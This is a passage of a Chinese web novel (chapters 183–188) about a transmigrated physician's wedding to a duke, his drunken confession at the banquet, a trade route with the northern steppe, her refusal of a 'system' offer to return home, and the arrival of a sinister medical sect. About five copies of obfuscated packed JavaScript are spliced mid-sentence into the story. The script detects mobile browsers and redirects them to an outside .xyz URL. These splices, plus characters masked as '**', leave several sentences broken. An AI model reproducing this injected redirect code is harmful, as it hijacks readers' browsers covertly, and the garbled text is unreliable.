“师父…您今天真美…”玉萝也穿着盛装,在一旁帮忙整理裙摆,眼里满是惊艳和祝福。 李梵娘看着镜子里的自己,看着身边的女儿和弟子,心里的幸福和激动快要抑不住了。 与此同时,皇宫太极殿前,已经是宾客云集。 文武百官自不必说,皇室宗亲、勋贵命妇全都到场。 更引人注目的是,各国使团听说李梵娘要成亲了,纷纷前来参加。 北狄的巴图使团送上九十九张上好的白狐皮和一座半人高的血玉狼雕,寓意“白首同心,忠诚守护”。 南诏的大祭司亲自带队,献上由万民边祈福边织的“百福云锦”和一株罕见的并蒂七彩灵芝,寓意“福泽绵长,仙寿同登”。 西羌的新使臣献上雪山圣泉和百种珍稀药材种子,寓意“纯洁无瑕,生机勃勃”。 他们不仅是来观礼,更是代表着各自国家对李梵的尊敬。 吉时到,礼炮齐鸣,钟鼓乐起。 “迎新娘——!” 在众人的欢呼声中,李梵娘由全福嬷嬷搀扶着,上了铺着红毯的凤辇。 杜仁绍一身大红喜服,身姿挺拔,骑在高头大马上,在前引路。 他素来像面无表情的脸上,今日洋溢着毫不掩饰的喜悦和春风得意,频频回头望向凤辇。 迎亲队伍浩浩荡荡,向着皇宫前进。 道路两旁,百姓们的欢呼和祝福不绝于耳。 “医仙娘娘万福!” “国公爷大喜!” “白头偕老!永结同心!” 队伍到达太极殿前。 杜仁绍翻身下马,亲自走到凤辇前,伸出手。 李梵娘将戴着鎏金护甲的手轻轻放在他掌心。 两人相视一笑,情意尽在不言中。 在百官使节的注视下,两人走进大殿。 阳光洒在他们身上,宛如神仙眷侣。 第一百八十四章 发酒疯 高台之上,李睿身穿龙袍,面带微笑,亲自担任主婚人。 太上皇也坐在一旁,满脸得瑟,哦不,欣慰。 这人才都是他们国家的,气不气? “一拜天地——!” “二拜高堂(太上皇)——!” “夫妻对拜——!” 三拜之礼,庄重无比。 每一次躬身,都代表着承诺与责任,凝聚着对未来的期许。 “礼成——!” “恭贺镇国公!恭贺护国医仙娘娘!” 李梵娘抬头看向身边人,他正好也看过来,眼里是足以将她溺毙的深情和喜悦。 礼成后,宫宴开始。 太极殿内,觥筹交错,歌舞升平。 两人接受着百官和使臣一轮又一轮的祝贺。 杜仁绍今日显然是高兴极了,来者不拒,一杯接着一杯。 无论是部将们起哄,还是文官们敬酒,甚至是各国使臣的敬酒,他都应下。 他脸上泛着红光,嘴角的笑就没消失过。 李梵娘在一旁看着,既好笑又心疼,悄悄在桌下扯了扯他的衣袖,低声道:“少喝些,当心身子。” 杜仁绍反手握住她的手,凑到她耳边,带着酒气的热气喷在她耳廓,声音里满是愉悦。 “放心…夫人…今日…我高兴…哈哈…高兴!” 果不其然,杜仁绍被灌了不少酒。 他虽然酒量,但也架不住人多,至少喝了二十杯。 更何况,他今天高兴极了,那股从心底里透出来的喜悦劲儿,让他比平时更容易醉。 李梵娘看着他眼神开始有些迷离,说话声音也大了些,知道他是真的喝多了。 她正想找个借口带他离席,却见巴图端着酒碗又走了过来。 李梵娘:这是没完了? “妹夫!”巴图嗓门洪亮,带着草原汉子的豪爽,“来来来!再喝一碗!” “祝你和妹妹,像草原上的雄鹰和雌鹰,比翼**,永不分离,干了!” 杜仁绍哈哈大笑,端起酒碗,“好!巴图大哥!说得好!比翼**!永不分离!干!”又是一碗烈酒下肚。 南诏大祭司也端着酒杯过来,文绉绉地说着:“国公爷,夫人,我祝二位,像并蒂灵芝一样,同气连枝,福寿永绵。” “好!同气连枝!好!”杜仁绍一听这话,又是一杯酒下肚。 喝到兴头上,他甚至主动揽住身边一位老将军的肩膀,声音带着醉意。 “老王叔!你…你当年看着我长大的…你说!我杜仁绍…这辈子…最幸运的事是什么?” 老王叔也喝得有点高,笑呵呵道:“那自然是…娶了医仙娘娘这样的好媳妇!” “对!对极了!”杜仁绍用力一拍桌子,震得杯盘作响,把周围人都吓了一跳。 他却浑然不觉,猛地站起身,身形微微晃了晃,环视四周,声音拔高,有些激动。 “你们…你们都知道我杜仁绍…打仗厉害…是国公……权倾朝野…是吧?”他舌头有点打结。 “可你们知道吗?我…我差点就…就失去她了!不止一次!” 宴会厅渐渐安静下来,所有人都惊讶地看向突然“发酒疯”的镇国公。 李梵娘想去拉他,却被李睿用眼神制止了。 李睿眼里带着一丝笑意和好奇,想听听这位爱将的醉后真言。 杜仁绍眼眶微微有些发红,继续大声说着:“在杜家村…她差点被磋磨死…在云州…她为了救人…累倒在城头…” “在京城…那些杀千刀的混蛋…一次次想害她…下毒!刺杀!瘟疫!还有…还有那该死的西羌大祭司!敢说我的梵娘是什么异世之魂!想抓她去献祭!呸!” 他越说越激动,一拳砸在桌子上:“老子…老子恨不得把他们全剁了!我的梵娘!是我的命!谁也不能动!天王老子也不行!” 他转过身,踉跄着走到李梵娘面前,不顾众人目光,一把将她紧紧抱在怀里,声音哽咽,带着后怕。 “梵娘…我的梵娘…对不起…当年…让你那么委屈地嫁给我…对不起…让你吃了那么多苦…受了那么多委屈…” 他将头埋在她颈间,像个孩子一样蹭着,喃喃自语:“我杜仁绍…什么王图霸业…什么功名利禄…都是狗屁!” “我只要你好好的…只要春儿好好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395833|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我们一家人好好的…比什么都强…都比什么都强…” 宴会厅内一片寂静。 所有人都被镇国公这突如其来的真情流露震撼了。 那些往事、情感,被他毫无保留地吼了出来。 没有人在意他的失态,反而不少感性的女眷和经历过那些往事的老臣,都悄悄湿了眼眶。 李梵娘被他紧紧抱着,心软得一塌糊涂。 她也顾不得什么礼仪了,轻轻拍着他的背,声音温柔如水。 “好了好了,都过去了…仁绍,都过去了…我们现在很好,以后会更好…” “嗯…更好…”杜仁绍含糊地应着,抱着她的手却丝毫不松。 李睿见状,知道这宴席是没法继续了,便笑着开口:“镇国公情深意重,实乃朕与大胤的福气!” “今日酒宴至此,众卿尽兴即可。高德胜,安排人,送国公和夫人回府休息。” “是!”高公公连忙上前,和几个内侍一起,想将杜仁绍搀扶开。 杜仁绍却不肯松手,嘟囔着:“我不走…我还要跟我夫人喝交杯酒…还没洞房呢…” “噗——”不少人忍俊不禁,笑出声来。 这镇国公,醉了真是…什么话都往外说。 李梵娘脸颊绯红,恨不得找个地缝钻进去,只好哄着他。 “好,回家喝,回家…洞房…” 好不容易,才将酒鬼杜仁绍哄上了回府的马车。 马车里,杜仁绍依旧紧紧抱着李梵娘,脑袋靠在她肩上,嘴里还在含糊不清地念叨着。 “梵娘…我的…谁也别想抢走…春儿…也是我的…都是我的…嘿嘿…真好…” 李梵娘看着他醉后毫无防备、甚至有些傻气的样子,心中又是好笑又是酸楚。 这个男人,平日里冷的跟个铁疙瘩似的,所有的柔软和脆弱,都只在她面前流露。 那些醉话,是他对自己的爱。 她轻轻抚着他的脸,“傻瓜…都是你的…一直都是你的…” 回到府里,杜仁绍几乎是半睡半醒状态。 李梵娘和张贵等人费了九牛二虎之力,才将他安置到喜房的床上。 第一百八十五章 害羞 红烛高烧,帐幔低垂。 李梵娘褪去嫁衣和凤冠,只留着一身红色的中衣,坐在床边,看着床上酣睡的男人。 他眉头微蹙,似乎还在担心着什么。 李梵娘俯下身,在他眉心轻轻印下一个吻。 “睡吧,仁绍。”她柔声道,“我在呢。一直都在。” 好像听到了她的话,杜仁绍的眉头缓缓舒展开来,嘴角无意识地向上扬起,沉沉睡去。 李梵娘吹熄了红烛,只留一盏小小的油灯。 她在他身边躺下,依偎进他的怀里,听着的心跳声。 夜色温柔,一夜好梦。 第二天,阳光透过窗棂,有些刺眼。 他揉着突突直跳的额角,混沌的意识逐渐清晰。 首先映入眼帘的是满室的红色:红帐、红被、红烛…以及身边,穿着红色中衣,墨发铺散在枕上,睡得正沉的李梵娘。 新婚…对了,昨日是他和梵娘补办婚礼的日子。 然后,一些模糊的却让他头皮发麻的画面猛地撞进脑子里。 他好像…搂着老王叔的肩膀,大声嚷嚷自己最幸运的事是娶了媳妇? 他好像…站在宴会厅中央,拍着桌子吼什么“谁敢动老子媳妇儿弄死谁”? 他好像…抱着梵娘不撒手,又哭又笑地说对不起? 还…还当着陛下和百官的面嚷嚷着要…要洞房? “嗡”的一声,杜仁绍只觉得一股热气猛地冲上头顶,整个人瞬间僵住,连头痛都忘了。 他…他昨天在宫宴上…都干了些什么? 他那副样子…跟个撒酒疯的村汉有何区别? 还是在陛下、百官、各国使臣面前,他镇国公的脸都丢尽了。 他猛地坐起身,脸色一阵红一阵白,恨不得立刻找条地缝钻进去,或者干脆时光倒流,把昨天那个灌酒的自己掐死。 他的动作惊醒了身边的李梵娘。 她迷迷糊糊睁开眼睛,看到杜仁绍僵硬的背影和通红的后耳根,立刻明白过来。 这是想起来了? 她忍着笑,故意装作什么都不知道,柔声问道:“醒了?头还疼吗?要不要喝点醒酒汤?” 杜仁绍身体一僵,缓缓转过身,眼神躲闪,不敢看她,声音沙哑。 “梵…梵娘…我…我昨日…是不是…失态了?” 媳妇儿会不会觉得自己蠢极了? 李梵娘坐起身,看着他这副做错事像个大狗狗一样的模样,终于忍不住,“噗嗤”一声笑了出来。 她这一笑,杜仁绍更是无地自容,耳根子红得几乎要滴出血来,满脸懊恼。 “你别笑!我…我是不是…真的…” “是啊。”李梵娘笑得眉眼弯弯,凑近他,故意拖长了语调。 “我们威风凛凛的镇国公,昨天可是当着全京城有头有脸的人的面,又哭又笑,又拍桌子又吼人,还抱着我不撒手,非要回家洞房呢…” “……”杜仁绍绝望地闭上了眼,整个人都灰暗了。 李梵娘见他真的窘迫得不行,心软了,不再逗他,靠在他背上,环住他的腰,“好啦…虽然是很失态…但是…” 她顿了顿,语气认真,“但是,仁绍,我很高兴。” 杜仁绍身体微微一震。 “高兴听到你说的那些话。”李梵娘将脸贴在他的后背上。 “高兴知道你那么在乎我,那么怕失去我。高兴看到你卸下所有盔甲,最真实的样子。那些话,虽然醉醺醺的,但比任何时候的誓言都让我安心。” 她抬起头,看着他依旧僵硬的侧脸:“所以,别恼了。陛下和大臣们不会笑话你,他们只会更羡慕我们。至于那些使臣…巴图大哥说不定觉得你更对他脾气了呢。” 杜仁绍沉默了片刻,猛地转过身,将她搂进怀里,把发烫的脸埋在她颈窝,闷闷地道:“…不许说出去…尤其不许告诉春儿和玉萝…” 李梵娘终于忍不住放声大笑起来:“哈哈哈…好…不说…这是我们俩的秘密…” 谁能想到,杀伐决断、让敌人闻风丧胆的镇国公,酒醒后竟是这般模样? 这反差,让李梵娘觉得可爱又心疼。 两人笑着闹了一会儿,杜仁绍的尴尬劲儿才稍稍缓了一些。 李梵娘起身让人送来了热水和醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395834|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒汤。 洗漱完毕,喝了醒酒汤,杜仁绍总算感觉活过来了些,只是那点“黑历史”恐怕要伴随他很长一段时间了。 这时,门外传来春儿和玉萝的声音:“爹!娘!起床啦!太阳晒屁股啦!” 两人对视一眼,忍不住又笑了。 杜仁绍深吸一口气,努力摆出平日里那严肃的表情,但微微泛红的耳根还是出卖了他。 吃早膳的时候,一家四口围坐在一起。 春儿叽叽喳喳地说着昨天看到的漂亮烟花,玉萝则好奇地偷偷打量师父和师公,总觉得今天的气氛有点不一样。 杜仁绍维持着镇定,给李梵娘夹了个水晶饺,试图转移话题:“咳…今日天气不错。” 李梵娘忍着笑,配合地点头:“嗯,是不错。一会儿去花园走走?” 就在这时,张贵进来了。 “国公爷,夫人,北狄使臣巴图将军来拜访。” 杜仁绍拿着筷子的手顿了一下。 真是怕什么来什么! 李梵娘看了他一眼,对张贵说:“请巴图将军前厅用茶,我们稍后就到。” 前厅里,巴图正端着奶茶,一脸促狭的笑。 看到杜仁绍和李梵娘进来,他立刻放下茶碗,哈哈大笑地迎上来,用力拍了拍杜仁绍的肩膀。 “妹夫,昨晚睡得可好?酒醒了没?哈哈哈,你小子,平时看着闷声不响,喝醉了倒是痛快,像个我们草原的汉子!我喜欢!” 杜仁绍:“……” 他现在只想把这家伙扔出去。 李梵娘连忙打圆场:“巴图大哥说笑了。快请坐。大哥今日来我这儿,可是有什么事?” 巴图这才收起玩笑的神色,坐了下来,语气变得认真了些。 “妹妹,妹夫,我今天来,一是辞行,王命在身,不能在京城留太长时间,明天我就得带着队伍返回草原了。” “这么快?”李梵娘有些意外。 “是啊。”巴图点头,“二是…受大可汗之命,与二位商议一件要事。” “大哥请讲。”杜仁绍也正色道。 巴图沉吟了一下。 第一百八十六章 通商 “此次前来,看到大胤京城繁华,物产丰饶,尤其是妹妹教**局的那些成药、医疗器械,还有那些精良的铁器、布帛…都是我们草原急需的好东西。” “反观我们草原,牛羊马匹、皮**奶酪、珍贵药材…也是中原所缺。” 他目光灼灼地看着两人:“大可汗的意思,是想和你俩合作,开通一条‘北狄-大胤商道’。” “不仅仅局限于边境的零星互市,而是由两国官方主导,组建一支规模较大的商队,定期往来贸易,利润共享,互利互惠!” 杜仁绍和李梵娘对视一眼,都看到了对方眼中的亮光。 这确实是个极好的主意,不仅能加强两国经济联系,减少边境摩擦,更能将中原的先进物资和技术引入草原,改善牧民的生活。 同时也能获得草原丰富的畜牧产品和药材资源,一举两得。 “此举利国利民。”杜仁绍率先表态,“我支持,此事我需要上报陛下,由朝廷与北狄王庭一起商定。但我个人,大力支持。” 李梵娘也点头表态:“医药方面,我这边可以提供成药和医术支持,甚至可以派遣医者随商队一起去草原,帮你们建立医馆,培训医者。同时,我们也非常需要草原的优质药材。” “太好了!”巴图一拍大腿,“我就知道找你们准没错,大可汗也是这个意思,希望由妹妹和妹夫来牵头促成这件事。” “你们在大胤说话有分量,在我们北狄,更是自己人,由你们负责,两边都放心!” 杜仁绍沉吟片刻,道:“大哥放心,我现在就进宫面圣,上报此事。相信陛下也会很高兴,至于具体细节,还需要从长计议。” “好!爽快!”巴图大笑,“那就有劳妹夫了!我这就回去写信禀报大可汗!” 送走巴图,杜仁绍和李梵娘都有些兴奋。 “我现在就进宫。” “嗯。”李梵娘点头,“我去教**局,和周院正他们商议一下具体方案。” 两人分头行动。 皇宫,御书房。 李睿听完杜仁绍关于开辟北狄-大胤官方商道的事情和想法,眼中精光闪烁。 “与北狄大规模官方互市…由爱卿和夫人牵头…”李睿手指轻轻敲着御案。 “此举…确实可行,不仅能够充盈国库,安定北疆,也能将恩泽播撒草原,利在千秋,只是…朝中那些老臣,怕是又会嚷嚷什么‘资敌’、‘怀柔过度’了。” 杜仁绍躬身道:“陛下,北狄已经不是昔日之敌。阿史那咄吉可汗雄才大略,深明大义,且有求于我朝医药、铁器。”“此时开通商道,可以借此机会将我们双方的利益绑在一起,让他愈发依赖我们,不敢轻易南下牧马,至于朝中非议…臣愿一力承担!” 李睿看着杜仁绍,眼里满是赞赏和笑意:“朕准了!此事,便由爱卿全权负责,会同户部、兵部、理藩院,与北狄使团详细拟定章程,尽快推行!至于朝中……朕自会为你压下去。” “臣,谢陛下信任!” “不过…”李睿话锋一转,脸上露出玩味的笑,“仁绍昨日…可是在宫宴上,给了朕和满朝文武一个大大的‘惊喜’啊…” 杜仁绍:“……” 陛下您怎么还提这茬! 他刚恢复正常的脸色又有点发烫,硬着头皮说:“臣…臣昨日醉酒失态,御前无状,请陛下责罚!” “责罚?”李睿哈哈大笑起来,“朕为何要责罚你?真情流露,赤子之心,何其珍贵!” “朕倒是觉得,经此一事,满朝文武才算是真正看清了,咱们的镇国公,不仅是国之柱石,更是性情中人,爱妻如命!这可是佳话!佳话啊!哈哈哈!” 杜仁绍被皇帝笑得无地自容,只能尴尬地陪着笑:“陛下…谬赞了…” “好了好了,”李睿止住笑,摆摆手,“说正事。和北狄的事情朕准了。夫人那边,医药帮助和药材贸易,也由她全权做主。” “需要朝廷什么支持,尽管开口。朕只有一个要求:要快,要好,要稳!” “臣遵旨!”杜仁绍如蒙大赦,转身赶紧走。 走出御书房,被冷风一吹,他才长长舒了口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395835|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好尴尬…… 另一边,教**局内。 李梵娘与周院正、刘二柱等人商议出来了初步方案。 “可组建一支医药队,定期随商队前往北狄王庭和各主要部落,进行义诊,传授基础的医学知识和卫生知识。” “在北狄王庭设立‘医药点’,常期安排医者,供应常用成药。” “大量收购北狄优质药材,像黄芪、防风、甘草、肉苁蓉等,价格可以略高于市场价,以表示我们的诚意。” “可以为北狄培训一批基础的医者,学成归草原。” 方案可行,周院正等人纷纷表示赞同。 傍晚,杜仁绍和李梵娘几乎同时回府。 两人在前厅碰上,相视一笑。 “陛下准了。”杜仁绍言简意赅。 “教**局这边方案也好了。”李梵娘微笑。 夫妻二人配合的相当默契,分头忙碌起来。 杜仁绍负责与朝廷那边、北狄的对接,拟定各方面的条款。 李梵娘则负责医药的帮助、人员的培训、药材贸易的具体实施。 数日后,北狄使团离京。 巴图带着与杜仁绍初步拟定的章程,心满意足地踏上了归程。 临行前,他用力抱了抱杜仁绍,挤挤眼睛:“妹夫,商道的事就交给你们了,下次来,我带最好的马奶酒!咱们再喝个痛快!” 杜仁绍:“……” 谢谢,暂时不想痛快了。 送走巴图,杜仁绍和李梵娘都稍稍松了口气。 这天傍晚,处理完手头的事务,杜仁绍拉着李梵娘在花园里散步。 夕阳西下,将两人的身影拉得很长。 “总算忙过一阵了。”杜仁绍握着她的手,“等这边的事情步入正轨,我们是不是该兑现承诺,带春儿和玉萝去江南了?” “嗯。”李梵娘点头,眼里满是期待,“听说江南春光正好。” 杜仁绍看着她向往的模样,忍不住打趣道:“陛下昨日还私下问我,说我昨日还能洞房吗……说我…唔…” 第一百八十七章 回去? 他话没说完,就被李梵娘羞恼地捂住了嘴:“不许说!你还敢提!” 杜仁绍眼中笑意更深,就着她的手轻轻吻了一下她的掌心,惹得李梵缩回手,脸颊绯红。 “好好好,不提不提。”杜仁绍从善如流,却凑近她耳边,压低声音,“那…夫人…昨晚答应我的…洞房…还算数吗?” “杜仁绍!”李梵娘这下连耳根都红透了,又羞又气,“你…你无赖!” 杜仁绍哈哈大笑,一把将她打横抱起,大步流星地往卧房走:“君子一言,驷马难追!夫人既已答应,为夫岂能辜负良宵?” “呀!你放开我!让人看见!”李梵娘惊呼,下意识地搂紧了他的脖子,将发烫的脸埋进他颈窝。 “看见又如何?”杜仁绍理直气壮,“我抱我自家夫人,天经地义!” 帐幔低垂,一番缠绵温存后。 李梵娘疲惫的靠在杜仁绍怀里,手指无意识地在他胸口画着圈。 杜仁绍满足地喟叹一声,将她搂得更紧,下巴抵着她的发顶,有些迷糊。 李梵娘却没什么睡意。 就在她迷迷糊糊即将入睡之际,一个熟悉的声音毫无预兆的响起。 【叮,系统重启中……】 李梵娘一个激灵,睡意全无。 系统?它消失了这么久,怎么会突然… 【尊敬的宿主大大,晚上好。】 【恭喜您成功编纂并推广大胤的医学著作,系统判定‘传播现代医学知识,造福百姓’主线任务已超额完成。】 李梵娘心中惊疑不定,声音有些急切。 “系统?你这么久没动静,突然出现,就为了说这个?” 【当然不是。】系统的声音平静无波。 【根据任务完成度,您可以开启‘时空通道’一次。】 【通俗来讲,宿主大大,您有机会…回到您原本的世界了。】 李梵娘的心脏骤然紧缩,她猛地坐起身,脸色在昏暗的光下有些苍白。 【宿主大大,您有24小时的时间来思考。】 【宿主大大,如果决定离开,会自动剥离你在这个世界所有的记忆,只留医学造诣,护送您的灵魂返回原世界时间节点,继续您原本的人生。】 【选择留下的话,就再也不能离开了,您将作为李梵娘,在此世界到老死,请慎重考虑。】 她呆呆地坐在床上,大脑一片空白,浑身发冷。 回去? 回到那个有电脑手机、有飞机高铁、有实验室和同事的世界? 回到她原本的生活轨迹? 这曾是她在杜家村最艰难时,最渴望的事情。 可是…回去意味着什么? 意味着要忘记一切,忘记眼前这个男人,忘记春儿,忘记玉萝,忘记这里所有她爱的人和爱她的人。 她做不到。 几乎是瞬间,她的心就给出了答案。 “梵娘?怎么了?” 杜仁绍被她的动作惊醒,睡眼惺忪地坐起身,看到她苍白的脸和失神的眼睛,清醒了大半,握住她冰凉的手。 “做噩梦了?还是哪里不舒服?” 李梵娘猛地回过神,看着眼前的男人,心中剧痛。 她努力挤出一个笑容,声音有些发颤:“没…没事…就是…突然有点心悸…可能…可能是累着了…” “真的没事?”杜仁绍不放心地探了探她的额头,“脸色这么差。我去叫…” “不用!”李梵娘连忙拉住他,“真的没事!躺下歇会儿就好。” 她重新躺下,主动偎进他怀里,紧紧抱住他,“你抱着我…就好…” 杜仁绍虽然觉得她有些反常,但还是依言紧紧抱住她,轻轻拍着她的背:“好,我抱着。睡吧,我在呢。” 在李梵娘的坚持下,杜仁绍很快睡去。 而李梵娘,却睁着眼睛,一夜无眠。 系统的声音消失了,仿佛从未出现过。 她以为自己会毫不犹豫地选择留下。 可当“回去”这个选项真实地摆在面前时,那些被刻意遗忘的现代生活记忆,却不受控制地涌出来。 她梦到了她的实验室,梦到了和同事为了一个课题争论得面红耳赤,梦到了周末窝在沙发里看无聊的综艺,梦到了街角那家她最爱的奶茶店… 那是一个没有战乱、没有瘟疫、科技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401670|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发达、生活便利的世界。 是她出生长大、奋斗了二十多年的地方。 那里有她的事业,有她牵挂的朋友…… 一个声音在心底小声说:回去吧…那里才是你的世界…你可以继续你的研究,过上安稳富足的生活…不必再担心刺杀、瘟疫、朝堂纷争… 但紧接着,更多的画面在脑海里转圈。 杜家村煤油灯下,杜仁绍笨拙地给她脚背上药… 云州城头,他浑身浴血却坚定地护在她身前… 京城府邸,他抱着春儿笨拙地哄睡… 温泉庄子里,他陪她们嬉戏玩闹… 婚礼上,他喝多了的傻话和紧紧拥抱… 还有春儿那句“娘亲”,玉萝那句“师父”,教**局学员们的眼神,北境军民康复后的笑脸… 这里的每一幕,都充满了烟火气,充满了挣扎,也充满了最真实与责任。 两个世界,两种人生,在她脑海中拉扯着。 一边是熟悉的舒适区和梦想,一边是羁绊和幸福。 天快亮时,李梵娘才迷迷糊糊睡去。 她做了一个很长的梦。 梦里,她回到了现代,穿着白大褂,站在熟悉的实验室里,一切仿佛都没有改变。 可她总觉得心里空落落的,好像弄丢了什么重要的东西。 她拼命地想,却怎么也想不起来。 她走出实验室,外面的街道车水马龙,她却感到孤独和迷茫… “梵娘?梵娘?醒醒!”杜仁绍担忧的声音将她从噩梦中唤醒。 李梵娘睁开眼,对上杜仁绍关切的目光。 窗外天已大亮。 “你做噩梦了?一直在哭…”杜仁绍心疼地擦去她眼角的泪水。 李梵娘怔怔地看着他,感受着他指尖的温度…… 她猛地扑进他怀里,紧紧抱住他,声音有些哽咽:“仁绍…我梦见…我弄丢了你和春儿…我好怕…” “傻瓜,”杜仁绍失笑,轻轻拍着她的背,“梦都是反的。我和春儿好好在这儿呢,谁也丢不了。” 是啊,谁也丢不了。 因为她绝不会允许自己弄丢他们。 第一百八十八章 鬼谷上门 “系统。”她声音平静的呼唤系统。 【宿主大大,请做出您的选择。】 “我选择留下。”李梵娘的声音掷地有声,“这里,就是我的归宿。我的家,我的爱人,我的孩子,我的责任,都在这里。” “现代很好,但那里没有杜仁绍,没有春儿,没有我需要守护的一切。我…不回去了。” 系统静默了片刻。 【好的,确认宿主李梵娘,选择留在此世界。】 系统的声音似乎…带上了欣慰? 【系统进入静默待机状态,商城免费权限永久保留,祝您…生活愉快,再见,宿主大大。】 她抬起头,看着杜仁绍担忧的脸,露出一个如释重负的笑:“我没事了。只是个噩梦而已。醒了,看到你在,就什么都好了。” 杜仁绍虽然觉得她今天格外黏人,情绪也有些起伏,但见她笑了,也就放下心来,亲了亲她的额头。 “没事就好。起来吧,春儿和玉萝该等急了。” “嗯!”李梵娘用力点头,主动握住他的手。 然而,就在李梵娘准备开始新一天的生活时,张贵匆匆跑进来,脸上带着古怪甚至惊恐的神色。 “国公爷!夫人!门外…门外又来了一群人…自称…自称是‘鬼谷悬医门’…说…说是循着《大胤医典》而来…要…要与夫人‘论道’,还…还抬来了一具…冰封的…古尸!” “鬼谷悬医门?” 李梵娘和杜仁绍对视一眼,都看到了对方眼中的惊疑。 这个名号,他们从未听说过。 而且…抬着古尸来论道? 这架势,听着就来者不善。 杜仁绍眉头锁紧,眼神锐利,“多少人?什么打扮?那古尸…又是怎么回事?” 张贵咽了口唾沫,心有余悸地道:“大概…十来个人!穿着灰色的麻布长袍,戴着兜帽,看不清脸,一个个…阴气沉沉的,不像活人。” “那…那古尸…用一口半透明的冰棺材装着,能看到里面躺着个人,穿着很古老的服饰,皮肤青白,一点没坏,看着就…就瘆人!” 抬着冰封古尸上门论道? 谁家好人这么来? 这是来找茬的吧? 杜仁绍周身散发着冷意。 “王猛!调一队玄甲军,守住前厅内外!没有我的命令,任何人不得轻举妄动!” “是!”王猛领命而去。 “梵娘,”杜仁绍看向妻子,“此事蹊跷,恐有危险。你…” “我必须见他们。”李梵娘眼神沉静,“他们是冲着我的书来的,冲着我的医术来的。避而不见,反而显得我们怯了。况且…” 她顿了顿,“冰封古尸…我也很想见识一下。” 她心中隐隐有种预感,这“鬼谷悬医门”的出现,有它存在的意义。 “好。”杜仁绍了解她的性子,知道阻拦无用,“我陪你一起去,一切小心。” 两人整理了一下衣衫,杜仁绍更是暗中佩好了短刃,这才一同向前厅走去。 前厅气氛凝重。 玄甲军手持刀剑,分立两侧,眼神警惕地盯着那十几个不速之客。 只见那些人果然同张贵所说那样,清一色的灰麻兜帽长袍,站姿僵硬,跟个雕塑似的,几乎感觉不到活人的气息。 他们围着一口冒着寒气的巨大冰棺。 冰棺材质特殊,似玉非玉,似冰非冰,隐约能看到里面躺着一个身着华服,脸上毫无血色的男子。 为首的是一名身形干瘦的老者,他缓缓抬起头,兜帽下露出一张布满皱纹、苍白得几乎没有血色的脸,一双眼睛却异常锐利,直直的看向李梵娘。 “阁下便是编纂《大胤医典》的李梵娘?”老者的声音沙哑低沉,像砂纸摩擦,腔调有些古怪。 “正是本官。”李梵娘神色平静,目光扫过冰棺,心中也是暗暗吃惊。 这保存技术,超出了这个时代的认知。 “不知各位是何方高人?抬这…古物来我这里,所谓何意?” “老夫乃鬼谷悬医门掌脉,幽泉。”老者缓缓说着,“听闻夫人著书立说,开宗立派,医术通神,能活**,肉白骨。” “我特意带着门中‘圣躯’前来,与夫人…论道求证!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401671|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论什么道,求什么证?”李梵娘挑眉,“如何论法?” 幽泉掌脉的嘴角勾起一丝诡异的笑:“简单。夫人若是能说出我门‘圣躯’千年不腐的秘密,并能用你那《医典》里的东西探明它‘生机’湮灭的原因,便算夫人赢了。” “我鬼谷悬医门,从此以后认你的医道为正统,奉你为主,也不是不可以。” 他话锋一转,语气陡然变得阴冷,“若不能…那就证明夫人的东西,不过是哗众取宠的皮**浅见,不堪大用!” “那便请夫人…自己动手销毁《医典》,解散教**局,随我回鬼谷,潜心修**真正的医术!” 